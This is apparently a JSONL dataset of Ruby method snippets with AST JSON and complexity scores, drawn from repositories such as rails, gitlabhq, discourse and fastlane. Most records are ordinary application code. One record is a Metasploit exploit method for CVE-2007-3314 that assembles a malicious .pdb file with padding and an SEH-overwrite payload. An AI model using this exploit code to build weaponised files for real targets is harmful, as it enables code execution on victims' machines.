{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/percent_array.rb","start_line":56,"raw_source":"def build_message_for_bracketed_array(preferred_array_code)\n        format(\n          self.class::ARRAY_MSG,\n          prefer: if preferred_array_code.include?(\"\\n\")\n                    'an array literal `[...]`'\n                  else\n                    \"`#{preferred_array_code}`\"\n                  end\n        )\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_message_for_bracketed_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preferred_array_code\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"ARRAY_MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefer\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preferred_array_code\"]},\"include?\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"str\",\"children\":[\"an array literal `[...]`\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preferred_array_code\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]}]}]}]}]}","id":"9897d7af-851c-4f5f-b8e0-b4a06a87cbe9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post.rb","start_line":786,"raw_source":"def self.rebake_old(limit, priority: :normal, rate_limiter: true)\n    limiter =\n      RateLimiter.new(\n        nil,\n        \"global_periodical_rebake_limit\",\n        GlobalSetting.max_old_rebakes_per_15_minutes,\n        900,\n        global: true,\n      )\n\n    problems = []\n    Post\n      .where(\"baked_version IS NULL OR baked_version < ?\", BAKED_VERSION)\n      .order(\"id desc\")\n      .limit(limit)\n      .pluck(:id)\n      .each do |id|\n        begin\n          break if !limiter.can_perform?\n\n          post = Post.find(id)\n          post.rebake!(priority: priority)\n\n          begin\n            limiter.performed! if rate_limiter\n          rescue RateLimiter::LimitExceeded\n            break\n          end\n        rescue => e\n          problems << { post: post, ex: e }\n\n          attempts = post.custom_fields[\"rebake_attempts\"].to_i\n\n          if attempts > 3\n            post.update_columns(baked_version: BAKED_VERSION)\n            Discourse.warn_exception(\n              e,\n              message: \"Can not rebake post# #{post.id} after 3 attempts, giving up\",\n            )\n          else\n            post.custom_fields[\"rebake_attempts\"] = attempts + 1\n            post.save_custom_fields\n          end\n        end\n      end\n    problems\n  end","complexity_score":46.75,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"rebake_old\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"limit\"]},{\"type\":\"kwoptarg\",\"children\":[\"priority\",{\"type\":\"sym\",\"children\":[\"normal\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"rate_limiter\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"limiter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"global_periodical_rebake_limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"max_old_rebakes_per_15_minutes\"]},{\"type\":\"int\",\"children\":[900]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"global\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"problems\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"str\",\"children\":[\"baked_version IS NULL OR baked_version < ?\"]},{\"type\":\"const\",\"children\":[null,\"BAKED_VERSION\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"id desc\"]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limiter\"]},\"can_perform?\"]},\"!\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"rebake!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"lvar\",\"children\":[\"priority\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate_limiter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limiter\"]},\"performed!\"]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"LimitExceeded\"]}]},null,{\"type\":\"break\",\"children\":[]}]},null]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"problems\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ex\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attempts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"custom_fields\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rebake_attempts\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attempts\"]},\">\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"baked_version\"]},{\"type\":\"const\",\"children\":[null,\"BAKED_VERSION\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"warn_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Can not rebake post# \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" after 3 attempts, giving up\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"custom_fields\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"rebake_attempts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attempts\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"save_custom_fields\"]}]}]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"problems\"]}]}]}","id":"7ff13ca4-dd7e-4d9e-aca7-0937fa7e6236"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment/gateway_options.rb","start_line":53,"raw_source":"def billing_address\n        order.bill_address.try(:active_merchant_hash)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"billing_address\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"bill_address\"]},\"try\",{\"type\":\"sym\",\"children\":[\"active_merchant_hash\"]}]}]}","id":"de55e703-2105-440c-b1dc-3ea5b216a296"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/exclusive_lease_helpers.rb","start_line":51,"raw_source":"def prepare_exclusive_lease_stub\n    return if @exclusive_lease_allowed_to_call_original\n\n    allow(Gitlab::ExclusiveLease)\n      .to receive(:new).and_call_original\n\n    @exclusive_lease_allowed_to_call_original = true\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_exclusive_lease_stub\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exclusive_lease_allowed_to_call_original\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ExclusiveLease\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"new\"]}]},\"and_call_original\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@exclusive_lease_allowed_to_call_original\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"74fa5c73-22d3-4354-b7b9-65075d5cd1d0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/encrypted_attribute_type.rb","start_line":35,"raw_source":"def deserialize(value)\n        cast_type.deserialize decrypt(value)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"deserialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cast_type\"]},\"deserialize\",{\"type\":\"send\",\"children\":[null,\"decrypt\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"f476776e-e3eb-477c-9c6b-8ebc393e8873"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/terms_of_service.rb","start_line":54,"raw_source":"def email_notification_cutoff\n    published_at - NOTIFICATION_ACTIVITY_CUTOFF\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"email_notification_cutoff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"published_at\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"NOTIFICATION_ACTIVITY_CUTOFF\"]}]}]}","id":"475ab776-8205-4e8b-97fb-df45d1bb4873"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_access.rb","start_line":558,"raw_source":"def size_checker\n      container.repository_size_checker\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"size_checker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"repository_size_checker\"]}]}","id":"115e8485-122d-484b-aa4e-94a1c224264f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_adapter_prevent_writes_test.rb","start_line":39,"raw_source":"def test_errors_when_a_delete_query_is_called_while_preventing_writes\n        with_example_table do\n          @connection.execute(\"INSERT INTO ex (data) VALUES ('138853948594')\")\n\n          ActiveRecord::Base.while_preventing_writes do\n            assert_raises(ActiveRecord::ReadOnlyError) do\n              @connection.execute(\"DELETE FROM ex where data = '138853948594'\")\n            end\n          end\n        end\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_errors_when_a_delete_query_is_called_while_preventing_writes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_example_table\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"INSERT INTO ex (data) VALUES ('138853948594')\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"while_preventing_writes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ReadOnlyError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"DELETE FROM ex where data = '138853948594'\"]}]}]}]}]}]}]}","id":"2b224e6e-90f1-4fd9-b380-f93ae06265fe"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/runner.rb","start_line":320,"raw_source":"def heartbeat\n    now = Time.now.utc\n    # Heartbeats can be expensive, so do them only when needed\n    return if @last_hb.kind_of?(Time) && (@last_hb + worker_settings[:heartbeat_freq]) >= now\n\n    systemd_worker? ? @worker.sd_notify_watchdog : heartbeat_to_file\n\n    if config_out_of_date?\n      _log.info(\"#{log_prefix} Synchronizing configuration...\")\n      sync_config\n      _log.info(\"#{log_prefix} Synchronizing configuration complete...\")\n    end\n\n    @last_hb = now\n    do_heartbeat_work\n  rescue SystemExit, SignalException\n    raise\n  rescue Exception => err\n    do_exit(\"Error heartbeating because #{err.class.name}: #{err.message}\\n#{err.backtrace.join('\\n')}\", 1)\n  end","complexity_score":45.83,"ast_json":"{\"type\":\"def\",\"children\":[\"heartbeat\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_hb\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_hb\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"worker_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"heartbeat_freq\"]}]}]}]},\">=\",{\"type\":\"lvar\",\"children\":[\"now\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"systemd_worker?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"sd_notify_watchdog\"]},{\"type\":\"send\",\"children\":[null,\"heartbeat_to_file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_out_of_date?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_prefix\"]}]},{\"type\":\"str\",\"children\":[\" Synchronizing configuration...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sync_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_prefix\"]}]},{\"type\":\"str\",\"children\":[\" Synchronizing configuration complete...\"]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@last_hb\",{\"type\":\"lvar\",\"children\":[\"now\"]}]},{\"type\":\"send\",\"children\":[null,\"do_heartbeat_work\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemExit\"]},{\"type\":\"const\",\"children\":[null,\"SignalException\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[null,\"do_exit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error heartbeating because \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\\\n\"]}]}]}]},{\"type\":\"int\",\"children\":[1]}]}]},null]}]}","id":"b4476a51-aea8-4ef0-8f8d-ff6c60a7cfa3"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/visitors.rb","start_line":39,"raw_source":"def evaluate(hash)\n        parts = @parts.dup\n\n        @parameters.each do |index|\n          param = parts[index]\n          value = hash[param.name]\n          return \"\" if value.nil?\n          parts[index] = param.escape value\n        end\n\n        @children.each { |index| parts[index] = parts[index].evaluate(hash) }\n\n        parts.join\n      end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parts\"]},\"dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parameters\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"param\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@children\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},\"evaluate\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"join\"]}]}]}","id":"23f9f24f-218d-48a3-b097-7da0a750f110"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/grids/grid_area.rb","start_line":22,"raw_source":"def open_menu\n        area.hover\n        area.find(\"icon-triggered-context-menu\").click\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"open_menu\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"area\"]},\"hover\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"area\"]},\"find\",{\"type\":\"str\",\"children\":[\"icon-triggered-context-menu\"]}]},\"click\"]}]}]}","id":"8063fe0a-11b8-4ec6-9111-37904d3d9832"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/altap_salamander_pdb.rb","start_line":63,"raw_source":"def exploit\n    seh = generate_seh_payload(target.ret)\n\n    # load the static pdb file beginning\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"CVE-2007-3314.dat\")\n    fd = File.open(path, \"rb\")\n    sploit = fd.read(fd.stat.size)\n    fd.close\n\n    sploit << rand_text_alphanumeric(1098) + seh\n    sploit << \".pdb\"\n\n    print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n    file_create(sploit)\n  end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seh\",{\"type\":\"send\",\"children\":[null,\"generate_seh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2007-3314.dat\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[1098]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"seh\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"str\",\"children\":[\".pdb\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"' file ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]}]}]}","id":"4cc16543-088e-4d9d-acb7-cba271ba0cc3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/client.rb","start_line":60,"raw_source":"def get_token(code)\n        client.auth_code.get_token(code).token\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"auth_code\"]},\"get_token\",{\"type\":\"lvar\",\"children\":[\"code\"]}]},\"token\"]}]}","id":"b3678c48-11b4-4faf-b754-dbea87c03d72"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/server/cli.rb","start_line":137,"raw_source":"def error(message)\n        require 'rainbow'\n\n        @exit = true\n        warn Rainbow(message).red\n\n        STATUS_ERROR\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"rainbow\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@exit\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},\"red\"]}]},{\"type\":\"const\",\"children\":[null,\"STATUS_ERROR\"]}]}]}","id":"0ba549a5-5b49-4738-81f5-4a99f1787c3c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/upload_symbols_to_sentry.rb","start_line":79,"raw_source":"def self.available_options\n        [\n          FastlaneCore::ConfigItem.new(key: :api_host,\n                                       env_name: \"SENTRY_HOST\",\n                                       description: \"API host url for Sentry\",\n                                       default_value: \"https://app.getsentry.com/api/0\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :api_key,\n                                       env_name: \"SENTRY_API_KEY\",\n                                       description: \"API key for Sentry\",\n                                       sensitive: true,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :auth_token,\n                                       env_name: \"SENTRY_AUTH_TOKEN\",\n                                       description: \"Authentication token for Sentry\",\n                                       sensitive: true,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :org_slug,\n                                       env_name: \"SENTRY_ORG_SLUG\",\n                                       description: \"Organization slug for Sentry project\",\n                                       verify_block: proc do |value|\n                                         UI.user_error!(\"No organization slug for SentryAction given, pass using `org_slug: 'org'`\") unless value && !value.empty?\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :project_slug,\n                                       env_name: \"SENTRY_PROJECT_SLUG\",\n                                       description: \"Project slug for Sentry\",\n                                       verify_block: proc do |value|\n                                         UI.user_error!(\"No project slug for SentryAction given, pass using `project_slug: 'project'`\") unless value && !value.empty?\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :dsym_path,\n                                       env_name: \"SENTRY_DSYM_PATH\",\n                                       description: \"Path to your symbols file. For iOS and Mac provide path to app.dSYM.zip\",\n                                       default_value: Actions.lane_context[SharedValues::DSYM_OUTPUT_PATH],\n                                       default_value_dynamic: true,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :dsym_paths,\n                                       env_name: \"SENTRY_DSYM_PATHS\",\n                                       description: \"Path to an array of your symbols file. For iOS and Mac provide path to app.dSYM.zip\",\n                                       default_value: Actions.lane_context[SharedValues::DSYM_PATHS],\n                                       default_value_dynamic: true,\n                                       type: Array,\n                                       optional: true)\n        ]\n      